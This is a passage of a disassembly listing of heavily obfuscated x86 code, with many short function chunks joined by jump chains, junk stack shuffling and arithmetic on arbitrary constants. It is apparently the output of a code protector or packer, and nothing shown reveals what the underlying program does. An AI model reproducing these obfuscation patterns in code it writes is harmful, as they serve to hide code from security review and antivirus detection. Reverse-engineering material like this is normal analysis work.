; FUNCTION CHUNK AT 005A4A97 SIZE 00000008 BYTES

		push	ebx
		mov	bl, cl
		mov	dl, bl
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		mov	cx, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_59F0AB
sub_5A0327	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A0341:				; CODE XREF: sub_5A0FFF+6D7Dj
		add	esp, 4
		push	eax
		mov	ah, bl
		push	ecx
		mov	cl, ah
		mov	dh, cl
		pop	ecx
		mov	eax, [esp+4+var_4]
		add	esp, 4
		pop	ebx
		pop	eax
		mov	bx, [esp-8+arg_4]
		add	esp, 2
		xor	al, dh
		jmp	loc_5A69C0
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------


loc_5A0369:				; CODE XREF: sdfs____:005A0D0Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A8447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0377:				; CODE XREF: sub_5AA2D1+745j
		or	dl, ah
		mov	eax, [esp+0]
		add	esp, 4
		shl	dl, 7
		sub	dl, 47h
		push	7AA0h
		mov	[esp+0], eax
		mov	al, dl
		mov	ch, al
		pop	eax
		push	[esp-4+arg_0]
		jmp	loc_59DEBF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A039A	proc near		; CODE XREF: sub_5A6BBC-34C3j

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, 116B3D1Dh
		mov	ebx, ebp
		mov	ebp, [esp+4+var_4]
		jmp	sub_5A695A
sub_5A039A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A03AA:				; CODE XREF: sub_5AA2D1-68B0j
		push	61F4h
		mov	[esp+4+var_4], esi
		mov	esi, 8000h
		and	eax, esi
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_5AB0EC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A03CE:				; CODE XREF: sdfs____:005A5905j
		mov	dh, 0E4h
		add	dh, 1
		push	eax
		jmp	loc_5ACB55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5607


loc_5A03D9:				; CODE XREF: sub_5A5607-28D8j
		sub	edx, 67D473ABh
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A5607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06C1


loc_5A03E4:				; CODE XREF: sub_5A06C1+7j
		mov	ecx, 5AEC2AE0h
		mov	edi, 66B03111h
		sub	edi, ecx
		pop	ecx
		and	edi, 2AE1799Ch
		shl	edi, 3
		add	edi, 7E721C9Bh
		push	4944h
		mov	[esp+8+var_8], esi
		push	edx
		push	eax
		mov	eax, 42CC6A82h
		mov	edx, 60B9B7D7h
		sub	edx, eax
		jmp	loc_59AEE8
; END OF FUNCTION CHUNK	FOR sub_5A06C1

; =============== S U B	R O U T	I N E =======================================



sub_5A041B	proc near		; DATA XREF: sdfs____:00598EB0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005A4F36 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7695 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE9EC SIZE 00000008 BYTES

		mov	ax, [esp+0]
		push	edi
		mov	edi, esp
		push	4C63h
		mov	[esp+8+var_8], eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp+8+var_8]
		push	2717h
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		push	5580h
		mov	[esp+10h+var_10], ebp
		push	esi
		mov	esi, 0AFA77C4h
		mov	ebp, 0B7E3EC3h
		xor	ebp, esi
		jmp	loc_5A7695
sub_5A041B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59982C


loc_5A0458:				; CODE XREF: sub_59982C+BC6Dj
		inc	edx
		shr	edx, 6
		sub	edx, 4D83D76h
		push	3615h
		mov	[esp+8+var_8], ebp
		mov	ebp, 8EF58768h
		sub	edx, ebp
		pop	ebp
		add	eax, edx
		pop	edx
		jmp	loc_5A1964
; END OF FUNCTION CHUNK	FOR sub_59982C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A047A:				; CODE XREF: sub_5A477C+7A8Bj
		add	ebx, ecx
		sub	ebx, 33122C97h
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ecx
		jmp	loc_5A00A9
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------


loc_5A048E:				; CODE XREF: sdfs____:005A879Dj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A7070
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A0499:				; CODE XREF: sub_59EE3E+DE93j
		or	edi, 5D6B402Dh
		push	ebp
		push	62133B79h
		pop	ebp
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 57B52BD1h
		xor	ebp, edi
		mov	edi, [esp+0]
		add	esp, 4
		jmp	loc_5A78B3
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------


loc_5A04C1:				; CODE XREF: sdfs____:005ABC22j
		add	eax, 0EA7CDBAEh
		mov	ebx, eax
		pop	eax
		neg	ebx
		jmp	loc_5AC15F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A04D0:				; CODE XREF: sub_5AA2D1-6D35j
		mov	bl, dl
		pop	edx
		xor	bl, 9
		jmp	loc_5A21FF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A04DB:				; CODE XREF: sub_59EE3E-113Aj
		dec	edx
		jg	loc_599798
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp-4+arg_0]
		pop	ebp


loc_5A04EE:				; CODE XREF: sub_5AD336-D194j
		sub	esp, 4
		mov	[esp-4+arg_0], ebp
		mov	ebp, 64A72229h
		and	ebp, 2742157Eh
		shl	ebp, 1
		jnp	loc_5AAE43
		and	ebp, 766D309Ch
		jnb	loc_5AA0C2
		xor	ebp, 70EF0FB3h
		jmp	loc_5A85EF
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
		pop	esi
		mov	edx, ecx
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_5AEC1C


loc_5A0522:				; CODE XREF: sub_5AEC1C-C2CAj
		push	ax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], ebx
		jmp	loc_5A77C9
; END OF FUNCTION CHUNK	FOR sub_5AEC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A053F:				; CODE XREF: sub_59A9E9+857Aj
					; sub_5AC803+1Ej
		or	ebp, 39015939h
		jmp	loc_5ADE92
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06C1


loc_5A054A:				; CODE XREF: sub_5A06C1+179j
		add	esi, edx
		sub	esi, 1F0F728Fh
		mov	edx, [esp+0Ch+var_C]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A67A5
; END OF FUNCTION CHUNK	FOR sub_5A06C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A055D:				; CODE XREF: sub_5ADD33-13850j
		push	dword ptr [esp+0]
		pop	eax
		push	edx
		jmp	loc_59CDBB
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0567:				; CODE XREF: sub_5AA2D1+34BFj
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 77AE4BA1h
		push	1C81h
		mov	[esp+4+var_4], edi
		mov	edi, 5F27749Ch
		shl	edi, 8
		add	edi, 0FB17898Ch
		sub	eax, edi
		pop	edi
		add	eax, ebx
		push	edx
		mov	edx, 228C258Ch
		jmp	loc_5A3173
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A0599	proc near		; DATA XREF: sdfs____:00598FDCo
		mov	esp, [esp+0]
		jmp	loc_59910F
sub_5A0599	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A05A1:				; CODE XREF: sub_59CBE1+367j
					; sub_59EE3E+7468j ...
		push	ecx
		jmp	loc_5A329D
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5A05A7:				; CODE XREF: sub_5A4E04-20E9j
		neg	esi
		jle	loc_5AFAC6
		add	esi, 3C90C030h
		jmp	loc_5AC64B
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A05BA:				; CODE XREF: sub_5AA2D1+19D2j
		jle	loc_5A001F
		jmp	loc_5A353F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A05C5:				; CODE XREF: sub_59CBE1:loc_5A7C5Aj
		jmp	loc_59F9CF
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21F1


loc_5A05CA:				; CODE XREF: sub_5A21F1+E0EDj
		pop	ebp
		push	edi
		mov	edi, 78AB581Fh
		sub	[esp+0Ch+var_4], edi
		pop	edi
		push	ebp
		mov	ebp, 577567E9h
		add	[esp+0Ch+var_4], ebp
		pop	ebp
		sub	[esp+8+var_4], 51281642h
		jmp	loc_5A53A4
; END OF FUNCTION CHUNK	FOR sub_5A21F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A05EE:				; CODE XREF: sub_5A9EC5-49B2j
		push	ecx
		push	bx
		mov	bh, 99h
		mov	ch, bh
		mov	bx, word ptr [esp+8+var_8]
		add	esp, 2
		and	ch, 0CCh
		xor	ch, 3Eh
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	bh, 0FFh
		jmp	loc_5A1983
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A0615:				; CODE XREF: sub_5A4D9D-149Cj
		add	esp, 4
		push	1CDAh
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		jmp	loc_5A0094
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A0636:				; CODE XREF: sub_5992DA+16CE8j
		pop	eax
		mov	ah, bh
		pop	ebx
		push	edx
		push	ecx
		mov	ch, ah
		mov	dl, ch
		pop	ecx
		mov	bl, dl
		pop	edx
		jmp	loc_59BD1A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A0649:				; CODE XREF: sub_599D0E+13A97j
		mov	[esp+0], edx
		mov	dh, 46h
		sub	dh, 0BFh
		dec	dh
		not	dh
		xor	dh, 4Ah
		add	bl, dh
		jmp	loc_5A3B10
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------


loc_5A065F:				; CODE XREF: sdfs____:0059F4CDj
		add	ecx, 0FFFFFFFFh
		dec	ecx
		add	ecx, 219E5117h
		push	45B2h
		mov	[esp], ebx
		mov	ebx, 0F49A73A9h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		add	dword ptr [esp], 23833CE6h
		mov	eax, [esp]
		jmp	loc_59C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A0691:				; CODE XREF: sub_5A118F+CB7Fj
		jl	loc_59DE46
		jmp	loc_5A1C35
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A069C:				; CODE XREF: sub_5AA2D1-A5C8j
		add	bl, dl
		pop	edx
		jmp	loc_59B7A2
; ---------------------------------------------------------------------------


loc_5A06A4:				; CODE XREF: sub_5AA2D1-DE33j
		jp	loc_5AF499
		jmp	loc_5AB44D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A06AF:				; CODE XREF: sub_5AB3DB-2DA1j
		dec	eax
		not	eax
		jmp	loc_5A8267
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A06B7:				; CODE XREF: sub_59D6B8+CD3Fj
		mov	edi, 7CC9717Dh
		jmp	loc_5ADA16
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5A06C1	proc near		; CODE XREF: sub_5A7A2B-9B88j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AEE8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A03E4 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A054A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A082F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A67A5 SIZE 0000001D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	ecx
		jmp	loc_5A03E4
sub_5A06C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B69D


loc_5A06CD:				; CODE XREF: sub_59B69D+2j
		jmp	loc_5A1C96
; END OF FUNCTION CHUNK	FOR sub_59B69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A06D2:				; CODE XREF: sub_5A7BA0+3B5Dj
		sub	ecx, 58DF7D45h
		jmp	loc_5AEFE8
; END OF FUNCTION CHUNK	FOR sub_5A7BA0

; =============== S U B	R O U T	I N E =======================================



sub_5A06DD	proc near		; CODE XREF: sub_5AAE5E-5E3Aj
					; sub_5A3C19+5884j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D4E4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A47E0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A549E SIZE 0000000F BYTES

		push	ebx
		push	esp
		jmp	loc_59D4E4
sub_5A06DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A06E4:				; CODE XREF: sub_59EE3E+7C95j
		sub	ebx, 1DF468B2h
		sub	esp, 4
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 79C36A7Eh
		jmp	loc_5A2CFF
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A0700:				; CODE XREF: sub_5A0FFF+7180j
		pop	ebp
		add	eax, 2
		xchg	eax, [esp-10h+arg_A+2]
		pop	esp
		xor	bl, al
		push	6C6Bh
		jmp	loc_59B2B7
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1726


loc_5A0716:				; CODE XREF: sub_5A1726+10j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	eax, ebx
		jmp	sub_5AB179
; END OF FUNCTION CHUNK	FOR sub_5A1726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5A0723:				; CODE XREF: sub_59D4FD+E663j
		push	ecx
		mov	ecx, 4CE01FCAh
		sub	esi, ecx
		pop	ecx
		add	esi, 32E967A7h
		add	esi, edx
		jmp	loc_5A494A
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A0739:				; CODE XREF: sub_5AF294-613Fj
		jnp	loc_5A95A9
		xor	ecx, 28BEEBB5h
		dec	ecx
		jg	loc_5A6343
		shr	ecx, 5
		jnp	loc_5AEBF9
		neg	ecx
; END OF FUNCTION CHUNK	FOR sub_5AF294
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A0757:				; CODE XREF: sub_5A4D9D-407Bj
		mov	[esp+4+var_4], esi
		jmp	loc_5A4D78
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A075F:				; CODE XREF: sub_5A118F+4AEj
		add	[esp+arg_0], ebp
		pop	ebp
		pop	ecx
		add	ecx, 4
		push	eax
		push	3E09287Dh
		pop	eax
		jmp	loc_5AB717
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A0777:				; CODE XREF: sub_5A77D5-149Dj
		pop	ebx
		push	2E3h
		mov	[esp+8+var_8], ebx
		jmp	loc_5AB3FA
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A0785:				; CODE XREF: sub_59D6B8:loc_5A29ADj
		xor	eax, 72593AC1h
		shr	eax, 1
		add	eax, 62293BBFh
		push	49C3h
		mov	[esp+14h+var_14], edi
		push	60EA5719h
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		sub	eax, 6BC605D4h
		sub	eax, 5E3B60BDh
		jmp	loc_599C00
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5A07B3:				; CODE XREF: sub_59D37E+F92Aj
		mov	dh, 0BDh
		neg	dh
		dec	dh
		neg	dh
		sub	dh, 51h
		xor	ch, dh
		pop	edx
		sub	esp, 4
		jmp	loc_5A527C
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A07C9:				; CODE XREF: sub_5A63DC-7A41j
					; sub_5A28E3+7EE4j
		and	ecx, 191939A0h
		shr	ecx, 3
		and	ecx, 2D215006h
		add	ecx, 382B67FEh
		jmp	loc_5A01A7
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A07E3:				; CODE XREF: sub_5AA2D1:loc_59C42Fj
		shl	esi, 5
		js	loc_5A3E06
		shl	esi, 3
		jmp	loc_5B0165
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A07F4:				; CODE XREF: sub_5A580F+6237j
		mov	esi, 5E3B60BDh
		add	eax, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_59D9DA
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CE13


loc_5A080C:				; CODE XREF: sub_59CE13+64A6j
		add	ecx, eax
		pop	eax
		push	eax
		mov	eax, 532718A0h
		sub	ecx, eax
		pop	eax
		jmp	loc_59D065
; END OF FUNCTION CHUNK	FOR sub_59CE13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A081D:				; CODE XREF: sub_5AA2D1-ECEEj
		rol	word ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A0827:				; CODE XREF: sub_5AA2D1-B5AEj
		shl	ebx, 3
		jmp	loc_5A7780
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06C1


loc_5A082F:				; CODE XREF: sub_5A06C1-57D8j
		mov	esi, 243EFB0h
		add	esi, 1F0F728Fh
		jmp	loc_5A054A
; END OF FUNCTION CHUNK	FOR sub_5A06C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5A083F:				; CODE XREF: sub_5A9B1D+360Bj
		xor	esi, 17548E80h
		push	eax
		mov	eax, 742F2D08h
		or	eax, 537F40DEh
		jmp	loc_59CF0A
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE7B8


loc_5A0855:				; CODE XREF: sub_5AE7B8+6j
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		jmp	loc_59AB54
; END OF FUNCTION CHUNK	FOR sub_5AE7B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5607


loc_5A0861:				; CODE XREF: sub_5A5607+3F70j
		not	esi
		neg	esi
		push	esi
		not	dword ptr [esp+0]
		mov	esi, [esp+0]
		add	esp, 4
		shr	esi, 1
		jmp	loc_5A13BF
; END OF FUNCTION CHUNK	FOR sub_5A5607

; =============== S U B	R O U T	I N E =======================================



sub_5A0879	proc near		; DATA XREF: sdfs____:00598F54o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005ADCE8 SIZE 00000018 BYTES

		mov	cx, [esp+0]
		push	2072h
		mov	[esp+4+var_4], ebx
		push	esp
		jmp	loc_5ADCE8
sub_5A0879	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5AF2


loc_5A088B:				; CODE XREF: sub_5A5AF2-458Bj
		pop	eax
		mov	dx, [esp-4+arg_0]
		jmp	loc_5A8112
; END OF FUNCTION CHUNK	FOR sub_5A5AF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A0895:				; CODE XREF: sub_5AA810+5A98j
		pop	eax
		push	esi
		jmp	loc_5B03A1
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A089C:				; CODE XREF: sub_5A580F:loc_5AE539j
		and	eax, 2BB56192h
		jnz	loc_5A656E
		and	eax, 9170D9Eh
		jg	loc_5AE955
		sub	al, 5Ah
		mov	ecx, eax
; END OF FUNCTION CHUNK	FOR sub_5A580F
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A08B6:				; CODE XREF: sub_5A4D9D-14AFj
					; sub_5A7BA0+1CCEj
		xor	eax, 7CC0FABEh
		add	ebx, eax
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		jmp	loc_59D707
; ---------------------------------------------------------------------------


loc_5A08C8:				; CODE XREF: sub_5A7BA0-8EACj
		sub	ebp, 6D2D181Bh
		jmp	loc_5A53E3
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A08D3:				; CODE XREF: sub_59CBE1+1255Fj
		xor	edx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		test	cl, al
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A12F5


loc_5A08E1:				; CODE XREF: sub_5A12F5+E784j
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], cx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A12F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2F58


loc_5A0906:				; CODE XREF: sub_5A2F58+5j
		push	dx
		mov	dh, 0C5h
		and	ch, dh
		pop	dx
		sub	esp, 2
		jmp	loc_59C633
; END OF FUNCTION CHUNK	FOR sub_5A2F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0916:				; CODE XREF: sub_5AA2D1-58D1j
		add	esi, 8084293h
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_5ADD4A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A0924	proc near		; CODE XREF: sub_5AE643+17j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599B3E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059A38C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059A615 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059B1A9 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A2B45 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A32CA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A337B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4C6E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A7F69 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A8C97 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A8EEA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A97E8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AA47D SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005AB612 SIZE 0000000A BYTES

		push	ebx
		push	1F01h
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		jmp	loc_5A32CA
sub_5A0924	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A093A:				; CODE XREF: sub_5AA2D1-E6F0j
		xor	eax, 7328729Ch
		jmp	loc_5A2738
; ---------------------------------------------------------------------------


loc_5A0944:				; CODE XREF: sub_5AA2D1-7BEEj
		push	ecx
		push	4
		pop	ecx
		add	esi, ecx
		pop	ecx
		add	esi, 2
		xchg	esi, [esp+4+var_4]
		jmp	loc_5A3438
; ---------------------------------------------------------------------------


loc_5A095C:				; CODE XREF: sub_5AA2D1-474Aj
		jbe	loc_5AECFF
		add	eax, (offset loc_5A0B9D+4)
		push	ebp
		mov	al, dh
		and	al, 5Bh


loc_5A096C:				; CODE XREF: sub_5A1FAD+11j
		sub	ecx, esi
		pop	esi
		sub	ecx, ebx
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_59E5FE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA26A


loc_5A097A:				; CODE XREF: sub_5AA26A-B756j
		push	edx
		jmp	loc_59BB52
; END OF FUNCTION CHUNK	FOR sub_5AA26A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A0980:				; CODE XREF: sub_59C979+E867j
		sub	ebx, edx
		pop	edx
		sub	ecx, 0F7C7A92h
		add	ecx, ebx
		add	ecx, 0F7C7A92h
		pop	ebx
		add	ecx, 74BF62A2h
		add	ecx, edi
		sub	ecx, 74BF62A2h
		sub	ecx, 3E434593h
		pop	edi
		push	ebx
		jmp	sub_5A3C19
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A09AD:				; CODE XREF: sub_59EE3E+3E3j
		add	esp, 4
		sub	esi, 277B3A19h
		sub	esi, eax
		push	ebp
		mov	ebp, 62E527C7h
		neg	ebp
		or	ebp, 680D0439h
		jmp	loc_5A6BFB
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A09CB:				; CODE XREF: sub_5A18F6-832Aj
		dec	edi
		sub	edi, 1F607D07h
		push	eax
		mov	eax, 1
		sub	edi, eax
		pop	eax
		or	edi, 69462010h
		push	ebp
		mov	ebp, 681C12Ch
		add	edi, ebp
		pop	ebp
		add	edx, edi
		pop	edi
		add	edx, 4
		push	edx
		push	[esp+8+var_4]
		jmp	loc_5AEFD5
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A09FD:				; CODE XREF: sub_5A9EBF+1j
		mov	ebx, 25210DDAh
		shr	ebx, 5
		sub	ebx, 450366Eh
		add	ebx, 0DDF0F8C0h
		add	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 2B522558h
		jmp	loc_5A3CED
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
